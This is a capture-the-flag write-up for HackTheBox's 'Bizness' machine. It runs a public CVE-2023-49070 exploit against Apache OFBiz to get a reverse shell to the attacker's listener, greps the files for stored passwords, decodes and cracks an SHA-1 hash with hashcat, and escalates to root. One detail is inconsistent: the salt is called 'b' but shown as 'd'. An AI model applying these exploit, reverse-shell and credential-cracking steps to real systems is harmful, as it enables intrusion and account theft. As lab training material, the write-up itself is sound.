Home HackTheBox - Bizzness
Post
Cancel

HackTheBox - Bizzness

This box starts off with a business website.

homepage

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for bizness.htb (10.10.11.252)
Host is up (0.026s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open  ssl/http nginx 1.18.0
| tls-alpn: 
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: 400 The plain HTTP request was sent to HTTPS port
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan doesn’t provide much, but in the footer of the website we see this site uses apache ofbiz.

apache

When running

1
2
3
4
5
6
7
8
9
10
$ dirb https://bizness.htb/
==> DIRECTORY: https://bizness.htb/accounting/
==> DIRECTORY: https://bizness.htb/ap/
==> DIRECTORY: https://bizness.htb/ar/
==> DIRECTORY: https://bizness.htb/catalog/
==> DIRECTORY: https://bizness.htb/common/
==> DIRECTORY: https://bizness.htb/content/
....
....
....

When accessing “https://bizness.htb/accounting/”, it gets redirected to “https://bizness.htb/accounting/control/login”.

login

On the footer of this login page, we can find the apache ofbiz version, which is 18.12.

version

Foothold

When researching, it looks like this version is vulnerable to CVE-2023-49070.

We can clone this repository and follow the steps to run the exploit.

1
2
3
4
5
$ git clone https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC.git  
$ cd ofbiz-CVE-2023-49070-RCE-POC                               
$ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
$ python3 exploit.py https://bizness.htb/ shell 10.10.14.114 1234
Please make sure from data

At the moment it doesn’t work as we need to install and select java-11 for the exploit script to work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo apt install openjdk-11-jdk
$ sudo update-alternatives --config java 
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                         Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-17-openjdk-amd64/bin/java   1711      manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
$ python3 exploit.py https://bizness.htb/ shell 10.10.14.114:1234
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not 

We get a connection on our listener.

1
2
3
4
5
6
7
8
9
$ nc -lvnp 1234       
ofbiz@bizness:/opt/ofbiz$ cd /home/
ofbiz@bizness:/home$ ls
ofbiz
ofbiz@bizness:/home$ cd ofbiz
ofbiz@bizness:~$ ls
user.txt
ofbiz@bizness:~$ cat user.txt
4fba**REDACTED**39b9

Privilege Escalation

When searching the files for keywords like “password=”, “pwd=” or “pass=”, we get a bunch of results. I needed to modify the grep command a few times as there were some binary files (.dat) that weren’t providing output. The final command is grep -iraEH --color -o '(password|pwd|pass)[[:space:]]*=[[:space:]]*("[^"]+"|[[:alpha:]]+)' *:

  • The arguments:
    • iraEH --color -o: These are various options used with grep.
      • i: Ignore case distinctions, so it matches “password,” “PWD,” and “pass” regardless of case.
      • r: Recursively search subdirectories.
      • a: Treat binary files as text.
      • E: Interpret the pattern as an extended regular expression (supportsfor alternation).
      • H: Print the filename for each match.
      • -color: Highlight the matched pattern in color.
      • o: Show only the part of a matching line that matches the pattern.
  • And the regex:
    • (password|pwd|pass)[[:space:]]*=[[:space:]]*("[^"]+"|[[:alpha:]]+):
      • (password|pwd|pass): Matches any of the three strings - “password,” “pwd,” or “pass.”
      • [[:space:]]*: Matches zero or more whitespace characters.
      • =: Matches the equal sign.
      • [[:space:]]*: Again, matches zero or more whitespace characters.
      • ("[^"]+"|[[:alpha:]]+): Matches either a string within double quotes or a sequence of alphabetic characters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ofbiz@bizness:/opt/ofbiz$ grep -iraEH --color -o '(password|pwd|pass)[[:space:]]*=[[:space:]]*("[^"]+"|[[:alpha:]]+)' *
applications/accounting/config/payment.properties:password=realpassword
applications/accounting/config/paymentTest.properties:password=xxxxxxx
applications/accounting/config/paymentTest.properties:pwd=xxxxxxx
applications/accounting/src/main/java/org/apache/ofbiz/accounting/thirdparty/authorizedotnet/AIMPaymentServices.java:password = getPaymentGatewayConfigValue
...
...
...
runtime/data/derby/ofbiz/seg0/c6850.dat:PASSWORD=Y
runtime/data/derby/ofbiz/seg0/c6850.dat:PASSWORD=Y
runtime/data/derby/ofbiz/seg0/c54d0.dat:Password="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
runtime/data/derby/ofbiz/log/log31.dat:PASSWORD=Y
...
...
...
ofbiz@bizness:/opt/ofbiz$ 

The interesting line is runtime/data/derby/ofbiz/seg0/c54d0.dat:Password="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" but while the value hints at being a hash ($SHA), the string $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I doesn’t appear to be a standard representation of a cryptographic hash. It seems to be encoded.

When looking at the source code of ofbiz, there is a file that contains the code for hashing passwords (HashCrypt.java). There we can find it is being encoded with URL safe base64: Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.').

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    public static String digestHash64(String hashType, byte[] bytes) {
        if (hashType == null) {
            hashType = "SHA";
        }
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            messagedigest.update(bytes);
            byte[] digestBytes = messagedigest.digest();

            StringBuilder sb = new StringBuilder();
            sb.append("{").append(hashType).append("}");
            sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
            return sb.toString();
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
        }
    }

We decode it and convert it to hex to get the original hash. Cyberchef.io can be used by choosing:

  • “From Base64” with “URL safe encoding”
  • “To Hex” with delimiter “None.

But this is also possible through python:

1
2
3
4
5
6
7
8
9
>>> import base64, binascii; print(binascii.hexlify(base64.urlsafe_b64decode("uP0_QaVBpDWFeo8-dRzDqRwXQ2I")).decode('utf-8'))Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.11/base64.py", line 134, in urlsafe_b64decode
    return b64decode(s)
           ^^^^^^^^^^^^
  File "/usr/lib/python3.11/base64.py", line 88, in b64decode
    return binascii.a2b_base64(s, strict_mode=validate)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
binascii.Error: Incorrect padding

We get a padding error.

Base64 encoding requires the input length to be a multiple of three bytes, as each group of three bytes is encoded into four characters. To achieve this, padding with ‘=’ characters is added to the input, ensuring the resulting Base64 string has a length that is a multiple of four

We need to add padding via (4 - len("uP0_QaVBpDWFeo8-dRzDqRwXQ2I") % 4). It subtracts the remainder when the length of the string is divided by 4 from 4 to determine the necessary padding.

1
2
>>> import base64, binascii; print(binascii.hexlify(base64.urlsafe_b64decode("uP0_QaVBpDWFeo8-dRzDqRwXQ2I" + '=' * (4 - len("uP0_QaVBpDWFeo8-dRzDqRwXQ2I") % 4))).decode('utf-8'))
b8fd**REDACTED**4362

The hash is being indentified as a SHA-1 hash, with the salt being b (which you can see in plaintext in the original encoded value).

1
2
3
4
$ hash-identifier b8fd**REDACTED**4362
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat hash.txt                                        
The following 15 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
    110 | sha1($pass.$salt)                                          | Raw Hash salted and/or iterated
    120 | sha1($salt.$pass)                                          | Raw Hash salted and/or iterated
   4900 | sha1($salt.$pass.$salt)                                    | Raw Hash salted and/or iterated
   4520 | sha1($salt.sha1($pass))                                    | Raw Hash salted and/or iterated
  24300 | sha1($salt.sha1($pass.$salt))                              | Raw Hash salted and/or iterated
    140 | sha1($salt.utf16le($pass))                                 | Raw Hash salted and/or iterated
   4710 | sha1(md5($pass).$salt)                                     | Raw Hash salted and/or iterated
    150 | HMAC-SHA1 (key = $pass)                                    | Raw Hash authenticated
    160 | HMAC-SHA1 (key = $salt)                                    | Raw Hash authenticated
   5800 | Samsung Android Password/PIN                               | Operating System
    121 | SMF (Simple Machines Forum) > v1.1                         | Forums, CMS, E-Commerce

Please specify the hash-mode with -m [hash-mode].
$ hashcat -m 120 hash.txt /usr/share/wordlists/rockyou.txt 

b8fd**REDACTED**4362:d:monk**REDACTED**ness  
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd**REDACTED**4362:d
1
2
3
4
5
6
7
8
9
10
11
ofbiz@bizness:/opt/ofbiz$ su root
Password: monk**REDACTED**ness  
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/opt/ofbiz
cd /root 
ls
root.txt
cat root.txt
3b82**REDACTED**e8ec
This post is licensed under CC BY 4.0 by the author.